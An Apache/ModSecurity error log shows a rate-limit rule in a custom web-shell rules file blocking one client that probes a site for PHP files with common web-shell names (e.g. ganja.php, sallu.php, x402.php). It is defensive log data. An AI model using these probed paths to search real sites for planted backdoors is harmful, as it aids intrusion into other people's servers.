[Thu May 14 08:17:22.035400 2026] [:error] [pid 11690:tid 11709] [client 20.197.195.237:18412] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "agUUkinxWuLN8Hptw8mcDQAAAMo"]
[Thu May 14 08:17:23.792318 2026] [:error] [pid 63033:tid 63059] [client 20.197.195.237:18402] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "agUUk1MY49UWn5BpqVaHrQAAARg"]
[Thu May 14 08:17:25.086000 2026] [:error] [pid 47721:tid 47736] [client 20.197.195.237:18012] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "agUUlXEmh7_G0hfOa6s6CwAAAY0"]
[Thu May 14 08:17:26.693281 2026] [:error] [pid 11588:tid 11664] [client 20.197.195.237:18399] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "agUUltUr21rOixkeGKYhrgAAAIw"]
[Thu May 14 08:17:30.400337 2026] [:error] [pid 11588:tid 11675] [client 20.197.195.237:18334] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "agUUmtUr21rOixkeGKYhswAAAJc"]
[Thu May 14 08:17:31.693918 2026] [:error] [pid 11582:tid 11649] [client 20.197.195.237:18037] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "agUUm_uw2cmFDpGcKhDpuQAAAFg"]
[Thu May 14 08:17:33.376713 2026] [:error] [pid 11690:tid 11713] [client 20.197.195.237:18337] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "agUUnSnxWuLN8Hptw8mcGAAAAM4"]
[Thu May 14 08:17:34.850813 2026] [:error] [pid 63033:tid 63037] [client 20.197.195.237:18309] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "agUUnlMY49UWn5BpqVaHtAAAAQI"]
[Thu May 14 08:17:37.475998 2026] [:error] [pid 11582:tid 11626] [client 20.197.195.237:18280] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "agUUofuw2cmFDpGcKhDpvAAAAEE"]
[Thu May 14 08:17:39.096482 2026] [:error] [pid 47721:tid 47741] [client 20.197.195.237:18422] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "agUUo3Emh7_G0hfOa6s6FgAAAZI"]
[Thu May 14 08:17:40.406221 2026] [:error] [pid 63033:tid 63055] [client 20.197.195.237:18386] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "agUUpFMY49UWn5BpqVaHvAAAARQ"]
[Thu May 14 08:17:42.773487 2026] [:error] [pid 47673:tid 47693] [client 20.197.195.237:18417] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "agUUpvCGe4cIn3sh5k3LnQAAAVI"]
[Thu May 14 08:17:46.346967 2026] [:error] [pid 11588:tid 11657] [client 20.197.195.237:18305] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "agUUqtUr21rOixkeGKYhvAAAAIU"]
[Thu May 14 08:17:49.285292 2026] [:error] [pid 11582:tid 11625] [client 20.197.195.237:17993] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "agUUrfuw2cmFDpGcKhDpwwAAAEA"]
[Thu May 14 08:17:51.761153 2026] [:error] [pid 11582:tid 11647] [client 20.197.195.237:18031] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "agUUr_uw2cmFDpGcKhDpxgAAAFY"]
[Thu May 14 08:17:56.045106 2026] [:error] [pid 11588:tid 11655] [client 20.197.195.237:17989] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "agUUtNUr21rOixkeGKYhwQAAAIM"]
[Thu May 14 08:17:57.665095 2026] [:error] [pid 11588:tid 11673] [client 20.197.195.237:18424] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "agUUtdUr21rOixkeGKYhxQAAAJU"]
[Thu May 14 08:18:00.202152 2026] [:error] [pid 11690:tid 11710] [client 20.197.195.237:18408] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "agUUuCnxWuLN8Hptw8mcMwAAAMs"]
[Thu May 14 08:18:02.342362 2026] [:error] [pid 11582:tid 11642] [client 20.197.195.237:18022] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "agUUuvuw2cmFDpGcKhDpyAAAAFE"]
[Thu May 14 08:18:06.824826 2026] [:error] [pid 11588:tid 11663] [client 20.197.195.237:18035] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "agUUvtUr21rOixkeGKYhygAAAIs"]
[Thu May 14 08:18:07.944649 2026] [:error] [pid 63033:tid 63044] [client 20.197.195.237:18010] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "agUUv1MY49UWn5BpqVaH1wAAAQk"]
[Thu May 14 08:18:10.173583 2026] [:error] [pid 11690:tid 11699] [client 20.197.195.237:18387] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ganja.php"] [unique_id "agUUwinxWuLN8Hptw8mcPwAAAMA"]
[Thu May 14 08:18:13.641583 2026] [:error] [pid 11588:tid 11667] [client 20.197.195.237:18331] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ganja.php"] [unique_id "agUUxdUr21rOixkeGKYhzwAAAI8"]
[Thu May 14 08:18:14.613704 2026] [:error] [pid 47721:tid 47725] [client 20.197.195.237:18332] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ganja.php"] [unique_id "agUUxnEmh7_G0hfOa6s6NgAAAYI"]
[Thu May 14 08:18:15.875043 2026] [:error] [pid 11690:tid 11702] [client 20.197.195.237:18378] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ganja.php"] [unique_id "agUUxynxWuLN8Hptw8mcSwAAAMM"]
[Thu May 14 08:18:17.329875 2026] [proxy_fcgi:error] [pid 47721:tid 47742] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:17.719881 2026] [proxy_fcgi:error] [pid 47721:tid 47733] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:18.171667 2026] [proxy_fcgi:error] [pid 47721:tid 47724] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:18.562421 2026] [proxy_fcgi:error] [pid 47721:tid 47730] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:18.959368 2026] [proxy_fcgi:error] [pid 47721:tid 47726] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:19.350548 2026] [proxy_fcgi:error] [pid 47721:tid 47729] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:19.741712 2026] [proxy_fcgi:error] [pid 47721:tid 47728] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:20.138468 2026] [proxy_fcgi:error] [pid 47721:tid 47744] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:20.546067 2026] [proxy_fcgi:error] [pid 47721:tid 47743] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:20.943329 2026] [proxy_fcgi:error] [pid 47721:tid 47746] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:21.337504 2026] [proxy_fcgi:error] [pid 47721:tid 47736] [client 20.197.195.237:18430] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:18:21.738419 2026] [:error] [pid 47721:tid 47727] [client 20.197.195.237:18430] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "agUUzXEmh7_G0hfOa6s6RgAAAYQ"]
[Thu May 14 08:18:24.011950 2026] [:error] [pid 11582:tid 11648] [client 20.197.195.237:17992] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "agUU0Puw2cmFDpGcKhDpzAAAAFc"]
[Thu May 14 08:18:26.007022 2026] [:error] [pid 63033:tid 63059] [client 20.197.195.237:18269] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "agUU0lMY49UWn5BpqVaH3AAAARg"]
[Thu May 14 08:18:29.596620 2026] [:error] [pid 63033:tid 63045] [client 20.197.195.237:18427] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "agUU1VMY49UWn5BpqVaH3QAAAQo"]
[Thu May 14 08:18:32.846783 2026] [:error] [pid 11588:tid 11663] [client 20.197.195.237:17994] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "agUU2NUr21rOixkeGKYh2wAAAIs"]
[Thu May 14 08:18:34.165102 2026] [:error] [pid 11690:tid 11715] [client 20.197.195.237:18400] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "agUU2inxWuLN8Hptw8mccwAAANA"]
[Thu May 14 08:18:37.726871 2026] [:error] [pid 11690:tid 11713] [client 20.197.195.237:18321] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "agUU3SnxWuLN8Hptw8mcgQAAAM4"]
[Thu May 14 08:18:38.810493 2026] [:error] [pid 11690:tid 11704] [client 20.197.195.237:18310] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "agUU3inxWuLN8Hptw8mchwAAAMU"]
[Thu May 14 08:18:40.667814 2026] [:error] [pid 11690:tid 11715] [client 20.197.195.237:18349] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "agUU4CnxWuLN8Hptw8mcjQAAANA"]
[Thu May 14 08:18:41.743290 2026] [:error] [pid 47673:tid 47693] [client 20.197.195.237:18403] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "agUU4fCGe4cIn3sh5k3LrAAAAVI"]
[Thu May 14 08:18:43.580094 2026] [:error] [pid 47673:tid 47682] [client 20.197.195.237:18040] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "agUU4_CGe4cIn3sh5k3LrgAAAUc"]
[Thu May 14 08:18:45.861561 2026] [:error] [pid 11588:tid 11655] [client 20.197.195.237:18314] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "agUU5dUr21rOixkeGKYh5QAAAIM"]
[Thu May 14 08:18:49.644856 2026] [:error] [pid 11690:tid 11700] [client 20.197.195.237:18414] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "agUU6SnxWuLN8Hptw8mcsgAAAME"]
[Thu May 14 08:18:53.025423 2026] [:error] [pid 11690:tid 11718] [client 20.197.195.237:18011] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "agUU7SnxWuLN8Hptw8mcxgAAANM"]
[Thu May 14 08:18:55.947552 2026] [:error] [pid 47673:tid 47690] [client 20.197.195.237:18039] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "agUU7_CGe4cIn3sh5k3LwAAAAU8"]
[Thu May 14 08:18:58.265020 2026] [:error] [pid 47721:tid 47731] [client 20.197.195.237:17999] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "agUU8nEmh7_G0hfOa6s6tgAAAYg"]
[Thu May 14 08:19:01.076520 2026] [:error] [pid 11588:tid 11653] [client 20.197.195.237:18044] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "agUU9dUr21rOixkeGKYh9QAAAIE"]
[Thu May 14 08:19:04.530730 2026] [:error] [pid 11581:tid 11616] [client 20.197.195.237:18038] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "agUU-P0vF48FbzpvQMWYVAAAABM"]
[Thu May 14 08:19:07.217533 2026] [:error] [pid 63033:tid 63039] [client 20.197.195.237:18369] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "agUU-1MY49UWn5BpqVaIHQAAAQQ"]
[Thu May 14 08:19:08.821309 2026] [:error] [pid 11582:tid 11649] [client 20.197.195.237:18384] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/one.php"] [unique_id "agUU_Puw2cmFDpGcKhDp2wAAAFg"]
[Thu May 14 08:19:15.790318 2026] [:error] [pid 11581:tid 11607] [client 20.197.195.237:18001] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "agUVA_0vF48FbzpvQMWYWgAAAAo"]
[Thu May 14 08:19:19.290995 2026] [:error] [pid 11588:tid 11655] [client 20.197.195.237:18383] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "agUVB9Ur21rOixkeGKYiEAAAAIM"]
[Thu May 14 08:19:22.056076 2026] [proxy_fcgi:error] [pid 63033:tid 63054] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:22.370981 2026] [proxy_fcgi:error] [pid 63033:tid 63048] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:22.687784 2026] [proxy_fcgi:error] [pid 63033:tid 63036] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:23.003621 2026] [proxy_fcgi:error] [pid 63033:tid 63049] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:23.317320 2026] [proxy_fcgi:error] [pid 63033:tid 63039] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:23.631899 2026] [proxy_fcgi:error] [pid 63033:tid 63037] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:23.961014 2026] [proxy_fcgi:error] [pid 63033:tid 63035] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:24.275957 2026] [proxy_fcgi:error] [pid 63033:tid 63044] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:24.706249 2026] [proxy_fcgi:error] [pid 63033:tid 63057] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:25.030774 2026] [proxy_fcgi:error] [pid 63033:tid 63053] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:25.355108 2026] [proxy_fcgi:error] [pid 63033:tid 63058] [client 20.197.195.237:18370] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:19:25.665488 2026] [:error] [pid 63033:tid 63051] [client 20.197.195.237:18370] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "agUVDVMY49UWn5BpqVaINgAAARA"]
[Thu May 14 08:19:28.717475 2026] [:error] [pid 47673:tid 47682] [client 20.197.195.237:18045] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "agUVEPCGe4cIn3sh5k3L0QAAAUc"]
[Thu May 14 08:19:36.330973 2026] [:error] [pid 11690:tid 11704] [client 20.197.195.237:18026] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "agUVGCnxWuLN8Hptw8mc4AAAAMU"]
